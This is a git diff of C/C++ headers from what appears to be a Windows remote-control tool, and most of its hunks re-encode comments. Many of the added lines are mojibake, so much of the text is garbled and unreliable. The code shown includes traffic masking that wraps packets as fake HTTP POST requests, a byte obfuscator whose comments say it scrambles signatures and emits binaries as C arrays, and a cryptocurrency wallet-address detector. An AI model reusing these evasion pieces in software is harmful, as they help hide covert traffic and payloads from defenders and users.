@@ -225,19 +225,19 @@ public: ); if (!hConnect) { - continue; // ǰԴʧܣһ + continue; // 当前源失败,尝试下一个 } memset(buffer, 0, sizeof(buffer)); if (InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) { result.assign(buffer, bytesRead); - // ȥзͿո + // 去除换行符和空格 while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' ')) result.pop_back(); InternetCloseHandle(hConnect); - break; // ɹȡֹͣ + break; // 成功获取,停止尝试 } InternetCloseHandle(hConnect); diff --git a/common/locker.h b/common/locker.h index 91cf8db..ccf3af2 100644 --- a/common/locker.h +++ b/common/locker.h @@ -1,13 +1,13 @@ -#pragma once +#pragma once #pragma warning(disable: 4996) #pragma warning(disable: 4819) -// 互斥锁、睡眠函数、自动锁、自动计时、自动日志等 +// 浜掓枼閿併€佺潯鐪犲嚱鏁般€佽嚜鍔ㄩ攣銆佽嚜鍔ㄨ鏃躲€佽嚜鍔ㄦ棩蹇楃瓑 #include "logger.h" -// 自动日志 +// 鑷姩鏃ュ織 class CAutoLog { private: @@ -64,8 +64,8 @@ public: } protected: - CRITICAL_SECTION* m_cs; // 外部锁 - CRITICAL_SECTION i_cs; // 内部锁 + CRITICAL_SECTION* m_cs; // 澶栭儴閿? + CRITICAL_SECTION i_cs; // 鍐呴儴閿? }; typedef CLock CLocker; @@ -104,7 +104,7 @@ public: } }; -// 智能计时器,计算函数的耗时 +// 鏅鸿兘璁℃椂鍣紝璁$畻鍑芥暟鐨勮€楁椂 class auto_tick { private: @@ -147,7 +147,7 @@ public: }; #if defined (_DEBUG) || defined (WINDOWS) -// 智能计算当前函数的耗时,超时会打印 +// 鏅鸿兘璁$畻褰撳墠鍑芥暟鐨勮€楁椂锛岃秴鏃朵細鎵撳嵃 #define AUTO_TICK(thresh, tag) auto_tick TICK(__FILE__, __FUNCTION__, __LINE__, thresh, tag) #define STOP_TICK TICK.stop() #else @@ -160,14 +160,14 @@ public: #include #pragma comment(lib, "winmm.lib") -// 高精度的睡眠函数 +// 楂樼簿搴︾殑鐫$湢鍑芥暟 #define Sleep_m(ms) { Sleep(ms); } -// 以步长n毫秒在条件C下等待T秒(n是步长,必须能整除1000) +// 浠ユ闀縩姣鍦ㄦ潯浠禖涓嬬瓑寰匱绉?n鏄闀匡紝蹇呴』鑳芥暣闄?000) #define WAIT_n(C, T, n) { int s=(1000*(T))/(n); s=max(s,1); while((C)&&(s--))Sleep(n); } -// 在条件C成立时等待T秒(步长10ms) +// 鍦ㄦ潯浠禖鎴愮珛鏃剁瓑寰匱绉?姝ラ暱10ms) #define WAIT(C, T) { WAIT_n(C, T, 10); } -// 在条件C成立时等待T秒(步长1ms) +// 鍦ㄦ潯浠禖鎴愮珛鏃剁瓑寰匱绉?姝ラ暱1ms) #define WAIT_1(C, T) { WAIT_n(C, T, 1); } diff --git a/common/mask.h b/common/mask.h index 67a05d6..dec7923 100644 --- a/common/mask.h +++ b/common/mask.h @@ -1,8 +1,8 @@ -#pragma once +#pragma once #include "header.h" -// 数据包协议封装格式 +// 鏁版嵁鍖呭崗璁皝瑁呮牸寮? // Copy left: 962914132@qq.com & ChatGPT enum PkgMaskType { MaskTypeUnknown = -1, @@ -18,16 +18,16 @@ inline ULONG UnMaskHttp(char* src, ULONG srcSize) const char* header_end_mark = "\r\n\r\n"; const ULONG mark_len = 4; - // 查找 HTTP 头部结束标记 + // 鏌ユ壘 HTTP 澶撮儴缁撴潫鏍囪 for (ULONG i = 0; i + mark_len <= srcSize; ++i) { if (memcmp(src + i, header_end_mark, mark_len) == 0) { - return i + mark_len; // 返回 Body 起始位置 + return i + mark_len; // 杩斿洖 Body 璧峰浣嶇疆 } } - return 0; // 无效数据 + return 0; // 鏃犳晥鏁版嵁 } -// TryUnMask 尝试去掉伪装的协议头. +// TryUnMask 灏濊瘯鍘绘帀浼鐨勫崗璁ご. inline ULONG TryUnMask(char* src, ULONG srcSize, PkgMaskType& maskHit) { if (srcSize >= 5 && memcmp(src, "POST ", 5) == 0) { @@ -38,7 +38,7 @@ inline ULONG TryUnMask(char* src, ULONG srcSize, PkgMaskType& maskHit) return 0; } -// PkgMask 针对消息进一步加密、混淆或伪装. +// PkgMask 閽堝娑堟伅杩涗竴姝ュ姞瀵嗐€佹贩娣嗘垨浼. class PkgMask { protected: @@ -76,13 +76,13 @@ public: } /** - * @brief 构造函数 - * @param host HTTP Host 头字段 + * @brief 鏋勯€犲嚱鏁? + * @param host HTTP Host 澶村瓧娈? */ explicit HttpMask(const std::string& host, const std::map& headers = {}) : product_(GenerateRandomString()), host_(host) { - // 初始化随机数生成器 + // 鍒濆鍖栭殢鏈烘暟鐢熸垚鍣? srand(static_cast(time(nullptr))); char buf[32]; sprintf_s(buf, "V%d.%d.%d", rand() % 10, rand() % 10, rand() % 10); @@ -94,16 +94,16 @@ public: } /** - * @brief 将原始数据伪装为 HTTP 请求 - * @param dst [输出] 伪装后的数据缓冲区(需调用者释放) - * @param dstSize [输出] 伪装后数据长度 - * @param src 原始数据指针 - * @param srcSize 原始数据长度 - * @param cmd 命令号 + * @brief 灏嗗師濮嬫暟鎹吉瑁呬负 HTTP 璇锋眰 + * @param dst [杈撳嚭] 浼鍚庣殑鏁版嵁缂撳啿鍖猴紙闇€璋冪敤鑰呴噴鏀撅級 + * @param dstSize [杈撳嚭] 浼鍚庢暟鎹暱搴? + * @param src 鍘熷鏁版嵁鎸囬拡 + * @param srcSize 鍘熷鏁版嵁闀垮害 + * @param cmd 鍛戒护鍙? */ void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) { - // 生成动态 HTTP 头部 + // 鐢熸垚鍔ㄦ€?HTTP 澶撮儴 std::string http_header = "POST " + GeneratePath(cmd) + " HTTP/1.1\r\n" "Host: " + host_ + "\r\n" @@ -111,22 +111,22 @@ public: "Content-Type: application/octet-stream\r\n" "Content-Length: " + std::to_string(srcSize) + "\r\n" + headers_ + "Connection: keep-alive\r\n" - "\r\n"; // 空行分隔头部和 Body + "\r\n"; // 绌鸿鍒嗛殧澶撮儴鍜?Body - // 分配输出缓冲区 + // 鍒嗛厤杈撳嚭缂撳啿鍖? dstSize = static_cast(http_header.size()) + srcSize; dst = new char[dstSize]; - // 拷贝数据:HTTP 头部 + 原始数据 + // 鎷疯礉鏁版嵁锛欻TTP 澶撮儴 + 鍘熷鏁版嵁 memcpy(dst, http_header.data(), http_header.size()); memcpy(dst + http_header.size(), src, srcSize); } /** - * @brief 从 HTTP 数据中提取原始数据起始位置 - * @param src 收到的 HTTP 数据 - * @param srcSize 数据长度 - * @return ULONG 原始数据在 src 中的起始偏移量(失败返回 0) + * @brief 浠?HTTP 鏁版嵁涓彁鍙栧師濮嬫暟鎹捣濮嬩綅缃? + * @param src 鏀跺埌鐨?HTTP 鏁版嵁 + * @param srcSize 鏁版嵁闀垮害 + * @return ULONG 鍘熷鏁版嵁鍦?src 涓殑璧峰鍋忕Щ閲忥紙澶辫触杩斿洖 0锛? */ ULONG UnMask(char* src, ULONG srcSize) { @@ -146,7 +146,7 @@ private: osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); GetVersionEx((OSVERSIONINFO*)&osvi); - // 获取系统架构 + // 鑾峰彇绯荤粺鏋舵瀯 SYSTEM_INFO si; GetNativeSystemInfo(&si); std::string arch = (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) ? "Win64; x64" : @@ -164,13 +164,13 @@ private: #endif } - std::string host_; // 目标主机 - std::string product_; // 产品名称 - std::string version_; // 产品版本 - std::string user_agent_;// 代理名称 - std::string headers_; // 自定义请求头 + std::string host_; // 鐩爣涓绘満 + std::string product_; // 浜у搧鍚嶇О + std::string version_; // 浜у搧鐗堟湰 + std::string user_agent_;// 浠g悊鍚嶇О + std::string headers_; // 鑷畾涔夎姹傚ご - /** 生成随机 URL 路径 */ + /** 鐢熸垚闅忔満 URL 璺緞 */ std::string GenerateRandomString(int size = 8) const { static const char charset[] = "abcdefghijklmnopqrstuvwxyz0123456789"; diff --git a/common/md5.h b/common/md5.h index d2d35f2..cd6baf2 100644 --- a/common/md5.h +++ b/common/md5.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include @@ -6,7 +6,7 @@ inline std::string CalcMD5FromBytes(const BYTE* data, DWORD length) { HCRYPTPROV hProv = 0; HCRYPTHASH hHash = 0; - BYTE hash[16]; // MD5 16 ֽ + BYTE hash[16]; // MD5 输出长度是 16 字节 DWORD hashLen = sizeof(hash); std::ostringstream oss; @@ -31,7 +31,7 @@ inline std::string CalcMD5FromBytes(const BYTE* data, DWORD length) return ""; } - // תΪʮַ + // 转换为十六进制字符串 for (DWORD i = 0; i < hashLen; ++i) { oss << std::hex << std::setw(2) << std::setfill('0') << (int)hash[i]; } diff --git a/common/obfs.h b/common/obfs.h index 84189de..6dd9c2a 100644 --- a/common/obfs.h +++ b/common/obfs.h @@ -1,4 +1,4 @@ -#define _CRT_SECURE_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS #include #include @@ -13,10 +13,10 @@ public: ObfsBase(bool genCArray = true) : m_bGenCArray(genCArray) { } virtual ~ObfsBase() { } - // Գƻڼܺͽ + // 对称混淆函数:用于加密和解密 virtual void ObfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {} - // ˳෴ + // 解混淆:与加密顺序相反 virtual void DeobfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {} virtual bool WriteFile(const char* filename, uint8_t* data, size_t length, const char* arrayName) @@ -24,7 +24,7 @@ public: return m_bGenCArray ? WriteBinaryAsCArray(filename, data, length, arrayName) : WriteBinaryFile(filename, data, length); } - // C ʽдļ + // 将二进制数据以 C 数组格式写入文件 virtual bool WriteBinaryAsCArray(const char* filename, uint8_t* data, size_t length, const char* arrayName) { FILE* file = fopen(filename, "w"); @@ -45,7 +45,7 @@ public: return true; } - // ʹ "wb" дģʽ + // 使用 "wb" 二进制写入模式 virtual bool WriteBinaryFile(const char* filename, const uint8_t* data, size_t length) { FILE* file = fopen(filename, "wb"); @@ -61,13 +61,13 @@ public: class Obfs : public ObfsBase { private: - // 8λ + // 左旋8位整数 static inline uint8_t rol8(uint8_t val, int shift) { return (val << shift) | (val >> (8 - shift)); } - // 8λ + // 右旋8位整数 static inline uint8_t ror8(uint8_t val, int shift) { return (val >> shift) | (val << (8 - shift)); @@ -76,19 +76,19 @@ private: public: Obfs(bool genCArray = true) : ObfsBase(genCArray) { } - // Գƻڼܺͽ + // 对称混淆函数:用于加密和解密 virtual void ObfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) { uint32_t state = seed; for (size_t i = 0; i < len; ++i) { uint8_t mask = (uint8_t)((state >> 16) & 0xFF); - buf[i] = rol8(buf[i] ^ mask, 3); // +ת - state = state * 2654435761u + buf[i]; // LCG + Ŷ + buf[i] = rol8(buf[i] ^ mask, 3); // 异或+旋转扰乱特征 + state = state * 2654435761u + buf[i]; // LCG + 数据扰动 } } - // ˳෴ + // 解混淆:与加密顺序相反 virtual void DeobfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) { uint32_t state = seed; @@ -97,7 +97,7 @@ public: uint8_t mask = (uint8_t)((state >> 16) & 0xFF); uint8_t orig = buf[i]; buf[i] = ror8(buf[i], 3) ^ mask; - state = state * 2654435761u + orig; // ûǰԭֽڸ state + state = state * 2654435761u + orig; // 必须用混淆前的原字节更新 state } } }; diff --git a/common/skCrypter.h b/common/skCrypter.h index 513b7e4..46cf5fa 100644 --- a/common/skCrypter.h +++ b/common/skCrypter.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once /*____________________________________________________________________________________________________________ diff --git a/common/turbojpeg.h b/common/turbojpeg.h index c3a5d55..b4b432b 100644 --- a/common/turbojpeg.h +++ b/common/turbojpeg.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (C)2009-2015, 2017, 2020-2024 D. R. Commander. * All Rights Reserved. * @@ -765,9 +765,9 @@ enum TJPARAM { * 1 | Ra * 2 | Rb * 3 | Rc - * 4 | Ra + Rb – Rc - * 5 | Ra + (Rb – Rc) / 2 - * 6 | Rb + (Ra – Rc) / 2 + * 4 | Ra + Rb 鈥?Rc + * 5 | Ra + (Rb 鈥?Rc) / 2 + * 6 | Rb + (Ra 鈥?Rc) / 2 * 7 | (Ra + Rb) / 2 * * Predictors 1-3 are 1-dimensional predictors, whereas Predictors 4-7 are diff --git a/common/wallet.h b/common/wallet.h index aa1be80..1fe643c 100644 --- a/common/wallet.h +++ b/common/wallet.h @@ -1,4 +1,4 @@ -#include +#include #include #include @@ -9,8 +9,8 @@ enum WalletType { WALLET_BTC_P2PKH, WALLET_BTC_P2SH, WALLET_BTC_BECH32, - WALLET_ETH_ERC20, // ETH、ERC20(含 USDT-ERC20) - WALLET_USDT_OMNI, // USDT Omni,BTC 网络,格式同 BTC + WALLET_ETH_ERC20, // ETH銆丒RC20锛堝惈 USDT-ERC20锛? + WALLET_USDT_OMNI, // USDT Omni锛孊TC 缃戠粶锛屾牸寮忓悓 BTC WALLET_USDT_TRC20, // USDT TRC20 WALLET_TRON, WALLET_SOLANA, @@ -41,46 +41,46 @@ inline WalletType detectWalletType(const std::string& address_raw) address.erase(0, address.find_first_not_of(" \t\n\r")); address.erase(address.find_last_not_of(" \t\n\r") + 1); - // 1. ETH/ERC20(0x 开头) + // 1. ETH/ERC20锛?x 寮€澶达級 static const std::regex eth_regex("^0x[a-fA-F0-9]{40}$"); if (std::regex_match(address, eth_regex)) return WALLET_ETH_ERC20; - // 2. TRC20(T 开头) + // 2. TRC20锛圱 寮€澶达級 static const std::regex trc20_regex("^T[1-9A-HJ-NP-Za-km-z]{33}$"); if (std::regex_match(address, trc20_regex)) return WALLET_USDT_TRC20; - // 3. BTC Bech32(bc1 开头) + // 3. BTC Bech32锛坆c1 寮€澶达級 static const std::regex btc_bech32_regex("^bc1[0-9a-z]{6,}$"); if (std::regex_match(address, btc_bech32_regex)) return WALLET_BTC_BECH32; - // 4. BTC P2PKH(1 开头) + // 4. BTC P2PKH锛? 寮€澶达級 static const std::regex btc_p2pkh_regex("^1[1-9A-HJ-NP-Za-km-z]{25,34}$"); if (std::regex_match(address, btc_p2pkh_regex)) return WALLET_BTC_P2PKH; - // 5. BTC P2SH(3 开头) + // 5. BTC P2SH锛? 寮€澶达級 static const std::regex btc_p2sh_regex("^3[1-9A-HJ-NP-Za-km-z]{25,34}$"); if (std::regex_match(address, btc_p2sh_regex)) return WALLET_BTC_P2SH; - // 6. XRP(r 开头,Base58) + // 6. XRP锛坮 寮€澶达紝Base58锛? static const std::regex xrp_regex("^r[1-9A-HJ-NP-Za-km-z]{24,34}$"); if (std::regex_match(address, xrp_regex)) return WALLET_XRP; - // 7. Dogecoin(D 开头,Base58) + // 7. Dogecoin锛圖 寮€澶达紝Base58锛? static const std::regex doge_regex("^D[5-9A-HJ-NP-Ua-km-z]{33}$"); if (std::regex_match(address, doge_regex)) return WALLET_DOGE; - // 8. Cardano Shelley(addr1 开头) + // 8. Cardano Shelley锛坅ddr1 寮€澶达級 static const std::regex ada_shelley_regex("^addr1[0-9a-z]{20,}$"); if (std::regex_match(address, ada_shelley_regex)) return WALLET_CARDANO_SHELLEY; - // 9. Cardano Byron(DdzFF 开头) + // 9. Cardano Byron锛圖dzFF 寮€澶达級 if (address.find("DdzFF") == 0) return WALLET_CARDANO_BYRON; - // 10. Polkadot(长度 47–48,Base58) + // 10. Polkadot锛堥暱搴?47鈥?8锛孊ase58锛? static const std::regex dot_regex("^[1-9A-HJ-NP-Za-km-z]{47,48}$"); if (std::regex_match(address, dot_regex)) return WALLET_POLKADOT; - // 11. Solana(32–44,无前缀,Base58)→ 容易误判,必须放最后 + // 11. Solana锛?2鈥?4锛屾棤鍓嶇紑锛孊ase58锛夆啋 瀹规槗璇垽锛屽繀椤绘斁鏈€鍚? static const std::regex solana_regex("^[1-9A-HJ-NP-Za-km-z]{32,44}$"); if (std::regex_match(address, solana_regex)) return WALLET_SOLANA; diff --git a/common/zstd_wrapper.c b/common/zstd_wrapper.c index 249ae94..7586e77 100644 --- a/common/zstd_wrapper.c +++ b/common/zstd_wrapper.c @@ -1,4 +1,4 @@ -#include "zstd_wrapper.h" +#include "zstd_wrapper.h" #include // memcpy size_t zstd_compress_auto( @@ -8,33 +8,33 @@ size_t zstd_compress_auto( size_t threshold ) { - // 检查输入有效性 + // 妫€鏌ヨ緭鍏ユ湁鏁堟€? if (!cctx || !dst || !src) { return ZSTD_error_GENERIC; } - // --- 小数据或库不支持多线程 → 退回到单线程 ZSTD_compress2 --- + // --- 灏忔暟鎹垨搴撲笉鏀寔澶氱嚎绋?鈫?閫€鍥炲埌鍗曠嚎绋?ZSTD_compress2 --- if (srcSize < threshold) { return ZSTD_compress2(cctx, dst, dstCapacity, src, srcSize); } - // --- 多线程流式压缩 --- + // --- 澶氱嚎绋嬫祦寮忓帇缂?--- ZSTD_inBuffer input = {src, srcSize, 0}; ZSTD_outBuffer output = {dst, dstCapacity, 0}; - // 循环压缩输入数据 + // 寰幆鍘嬬缉杈撳叆鏁版嵁 size_t ret = 0; while (input.pos < input.size) { ret = ZSTD_compressStream2(cctx, &output, &input, ZSTD_e_continue); if (ZSTD_isError(ret)) break; - // 输出缓冲区已满(理论上不应发生,因 dstCapacity >= ZSTD_compressBound) + // 杈撳嚭缂撳啿鍖哄凡婊★紙鐞嗚涓婁笉搴斿彂鐢燂紝鍥?dstCapacity >= ZSTD_compressBound锛? if (output.pos == output.size) { return ZSTD_error_dstSize_tooSmall; } } - // 结束压缩(确保所有线程完成) + // 缁撴潫鍘嬬缉锛堢‘淇濇墍鏈夌嚎绋嬪畬鎴愶級 if (!ZSTD_isError(ret)) { ret = ZSTD_compressStream2(cctx, &output, &input, ZSTD_e_end); } diff --git a/common/zstd_wrapper.h b/common/zstd_wrapper.h index cdc61b6..3a261f1 100644 --- a/common/zstd_wrapper.h +++ b/common/zstd_wrapper.h @@ -1,4 +1,4 @@ -#ifndef ZSTD_WRAPPER_H +#ifndef ZSTD_WRAPPER_H #define ZSTD_WRAPPER_H #include "zstd/zstd.h" @@ -8,14 +8,14 @@ extern "C" { #endif /** - * 智能压缩函数(自动选择单线程/多线程) - * @param cctx 压缩上下文(需提前创建) - * @param dst 输出缓冲区 - * @param dstCapacity 输出缓冲区大小 - * @param src 输入数据 - * @param srcSize 输入数据大小 - * @param threshold 触发多线程的最小数据大小(建议 >= 1MB) - * @return 压缩后的数据大小(错误码通过 ZSTD_isError() 检查) + * 鏅鸿兘鍘嬬缉鍑芥暟锛堣嚜鍔ㄩ€夋嫨鍗曠嚎绋?澶氱嚎绋嬶級 + * @param cctx 鍘嬬缉涓婁笅鏂囷紙闇€鎻愬墠鍒涘缓锛? + * @param dst 杈撳嚭缂撳啿鍖? + * @param dstCapacity 杈撳嚭缂撳啿鍖哄ぇ灏? + * @param src 杈撳叆鏁版嵁 + * @param srcSize 杈撳叆鏁版嵁澶у皬 + * @param threshold 瑙﹀彂澶氱嚎绋嬬殑鏈€灏忔暟鎹ぇ灏忥紙寤鸿 >= 1MB锛? + * @return 鍘嬬缉鍚庣殑鏁版嵁澶у皬锛堥敊璇爜閫氳繃 ZSTD_isError() 妫€鏌ワ級 */ size_t zstd_compress_auto( ZSTD_CCtx* cctx, diff --git a/compress/jsoncpp/allocator.h b/compress/jsoncpp/allocator.h index 4fdd1b1..b872f76 100644 --- a/compress/jsoncpp/allocator.h +++ b/compress/jsoncpp/allocator.h @@ -1,4 +1,4 @@ -// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors // Distributed under MIT license, or public domain if desired and // recognized in your jurisdiction. // See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE diff --git a/compress/jsoncpp/assertions.h b/compress/jsoncpp/assertions.h index 666fa7f..0a0120d 100644 --- a/compress/jsoncpp/assertions.h +++ b/compress/jsoncpp/assertions.h @@ -1,4 +1,4 @@ -// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors // Distributed under MIT license, or public domain if desired and // recognized in your jurisdiction. // See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE diff --git a/compress/jsoncpp/config.h b/compress/jsoncpp/config.h index 37e9f71..63afd49 100644 --- a/compress/jsoncpp/config.h +++ b/compress/jsoncpp/config.h @@ -1,4 +1,4 @@ -// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors // Distributed under MIT license, or public domain if desired and // recognized in your jurisdiction. // See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE diff --git a/compress/jsoncpp/forwards.h b/compress/jsoncpp/forwards.h index 37ff0ad..0e5ff66 100644 --- a/compress/jsoncpp/forwards.h +++ b/compress/jsoncpp/forwards.h @@ -1,4 +1,4 @@ -// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors // Distributed under MIT license, or public domain if desired and // recognized in your jurisdiction. // See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE diff --git a/compress/jsoncpp/json.h b/compress/jsoncpp/json.h index 5c776a1..c6a9bbd 100644 --- a/compress/jsoncpp/json.h +++ b/compress/jsoncpp/json.h @@ -1,4 +1,4 @@ -// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors // Distributed under MIT license, or public domain if desired and // recognized in your jurisdiction. // See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE diff --git a/compress/jsoncpp/json_features.h b/compress/jsoncpp/json_features.h index c80167d..0ed45d7 100644 --- a/compress/jsoncpp/json_features.h +++ b/compress/jsoncpp/json_features.h @@ -1,4 +1,4 @@ -// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors // Distributed under MIT license, or public domain if desired and // recognized in your jurisdiction. // See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE diff --git a/compress/jsoncpp/reader.h b/compress/jsoncpp/reader.h index d01703f..b563f20 100644 --- a/compress/jsoncpp/reader.h +++ b/compress/jsoncpp/reader.h @@ -1,4 +1,4 @@ -// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors // Distributed under MIT license, or public domain if desired and // recognized in your jurisdiction. // See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE diff --git a/compress/jsoncpp/value.h b/compress/jsoncpp/value.h index b5b2664..df703a7 100644 --- a/compress/jsoncpp/value.h +++ b/compress/jsoncpp/value.h @@ -1,4 +1,4 @@ -// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors // Distributed under MIT license, or public domain if desired and // recognized in your jurisdiction. // See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE diff --git a/compress/jsoncpp/version.h b/compress/jsoncpp/version.h index 38faedf..997b65b 100644 --- a/compress/jsoncpp/version.h +++ b/compress/jsoncpp/version.h @@ -1,4 +1,4 @@ -#ifndef JSON_VERSION_H_INCLUDED +#ifndef JSON_VERSION_H_INCLUDED #define JSON_VERSION_H_INCLUDED // Note: version must be updated in three places when doing a release. This diff --git a/compress/jsoncpp/writer.h b/compress/jsoncpp/writer.h index 44013fb..18c4ace 100644 --- a/compress/jsoncpp/writer.h +++ b/compress/jsoncpp/writer.h @@ -1,4 +1,4 @@ -// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors // Distributed under MIT license, or public domain if desired and // recognized in your jurisdiction. // See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE diff --git a/compress/libavcodec/ac3_parser.h b/compress/libavcodec/ac3_parser.h index ff8cc4c..5474dd6 100644 --- a/compress/libavcodec/ac3_parser.h +++ b/compress/libavcodec/ac3_parser.h @@ -1,4 +1,4 @@ -/* +/* * AC-3 parser prototypes * Copyright (c) 2003 Fabrice Bellard * Copyright (c) 2003 Michael Niedermayer diff --git a/compress/libavcodec/adts_parser.h b/compress/libavcodec/adts_parser.h index f85becd..4f7afa7 100644 --- a/compress/libavcodec/adts_parser.h +++ b/compress/libavcodec/adts_parser.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavcodec/avcodec.h b/compress/libavcodec/avcodec.h index 261653c..f8b0e89 100644 --- a/compress/libavcodec/avcodec.h +++ b/compress/libavcodec/avcodec.h @@ -1,4 +1,4 @@ -/* +/* * copyright (c) 2001 Fabrice Bellard * * This file is part of FFmpeg. diff --git a/compress/libavcodec/avdct.h b/compress/libavcodec/avdct.h index 272422e..f7ae67a 100644 --- a/compress/libavcodec/avdct.h +++ b/compress/libavcodec/avdct.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavcodec/avfft.h b/compress/libavcodec/avfft.h index 0c0f9b8..39db177 100644 --- a/compress/libavcodec/avfft.h +++ b/compress/libavcodec/avfft.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavcodec/d3d11va.h b/compress/libavcodec/d3d11va.h index 6816b6c..9303649 100644 --- a/compress/libavcodec/d3d11va.h +++ b/compress/libavcodec/d3d11va.h @@ -1,4 +1,4 @@ -/* +/* * Direct3D11 HW acceleration * * copyright (c) 2009 Laurent Aimar diff --git a/compress/libavcodec/dirac.h b/compress/libavcodec/dirac.h index e6d9d34..68d3941 100644 --- a/compress/libavcodec/dirac.h +++ b/compress/libavcodec/dirac.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (C) 2007 Marco Gerards * Copyright (C) 2009 David Conrad * Copyright (C) 2011 Jordi Ortiz diff --git a/compress/libavcodec/dv_profile.h b/compress/libavcodec/dv_profile.h index 5c40636..0a3b0dd 100644 --- a/compress/libavcodec/dv_profile.h +++ b/compress/libavcodec/dv_profile.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavcodec/dxva2.h b/compress/libavcodec/dxva2.h index 22c9399..e151e03 100644 --- a/compress/libavcodec/dxva2.h +++ b/compress/libavcodec/dxva2.h @@ -1,4 +1,4 @@ -/* +/* * DXVA2 HW acceleration * * copyright (c) 2009 Laurent Aimar diff --git a/compress/libavcodec/jni.h b/compress/libavcodec/jni.h index dd99e92..38c81af 100644 --- a/compress/libavcodec/jni.h +++ b/compress/libavcodec/jni.h @@ -1,4 +1,4 @@ -/* +/* * JNI public API functions * * Copyright (c) 2015-2016 Matthieu Bouron diff --git a/compress/libavcodec/mediacodec.h b/compress/libavcodec/mediacodec.h index 5606d24..8272839 100644 --- a/compress/libavcodec/mediacodec.h +++ b/compress/libavcodec/mediacodec.h @@ -1,4 +1,4 @@ -/* +/* * Android MediaCodec public API * * Copyright (c) 2016 Matthieu Bouron diff --git a/compress/libavcodec/qsv.h b/compress/libavcodec/qsv.h index b77158e..9ef244b 100644 --- a/compress/libavcodec/qsv.h +++ b/compress/libavcodec/qsv.h @@ -1,4 +1,4 @@ -/* +/* * Intel MediaSDK QSV public API * * This file is part of FFmpeg. diff --git a/compress/libavcodec/vaapi.h b/compress/libavcodec/vaapi.h index 2cf7da5..f78021d 100644 --- a/compress/libavcodec/vaapi.h +++ b/compress/libavcodec/vaapi.h @@ -1,4 +1,4 @@ -/* +/* * Video Acceleration API (shared data between FFmpeg and the video player) * HW decode acceleration for MPEG-2, MPEG-4, H.264 and VC-1 * diff --git a/compress/libavcodec/vdpau.h b/compress/libavcodec/vdpau.h index 4d99943..308ed23 100644 --- a/compress/libavcodec/vdpau.h +++ b/compress/libavcodec/vdpau.h @@ -1,4 +1,4 @@ -/* +/* * The Video Decode and Presentation API for UNIX (VDPAU) is used for * hardware-accelerated decoding of MPEG-1/2, H.264 and VC-1. * diff --git a/compress/libavcodec/version.h b/compress/libavcodec/version.h index b9752ce..3259700 100644 --- a/compress/libavcodec/version.h +++ b/compress/libavcodec/version.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavcodec/videotoolbox.h b/compress/libavcodec/videotoolbox.h index af2db0d..b70374a 100644 --- a/compress/libavcodec/videotoolbox.h +++ b/compress/libavcodec/videotoolbox.h @@ -1,4 +1,4 @@ -/* +/* * Videotoolbox hardware acceleration * * copyright (c) 2012 Sebastien Zwickert diff --git a/compress/libavcodec/vorbis_parser.h b/compress/libavcodec/vorbis_parser.h index 41d6de1..1cf6557 100644 --- a/compress/libavcodec/vorbis_parser.h +++ b/compress/libavcodec/vorbis_parser.h @@ -1,4 +1,4 @@ -/* +/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or diff --git a/compress/libavcodec/xvmc.h b/compress/libavcodec/xvmc.h index f9f56ee..3e34fb2 100644 --- a/compress/libavcodec/xvmc.h +++ b/compress/libavcodec/xvmc.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (C) 2003 Ivan Kalvachev * * This file is part of FFmpeg. diff --git a/compress/libavutil/adler32.h b/compress/libavutil/adler32.h index a1f035b..e90eef5 100644 --- 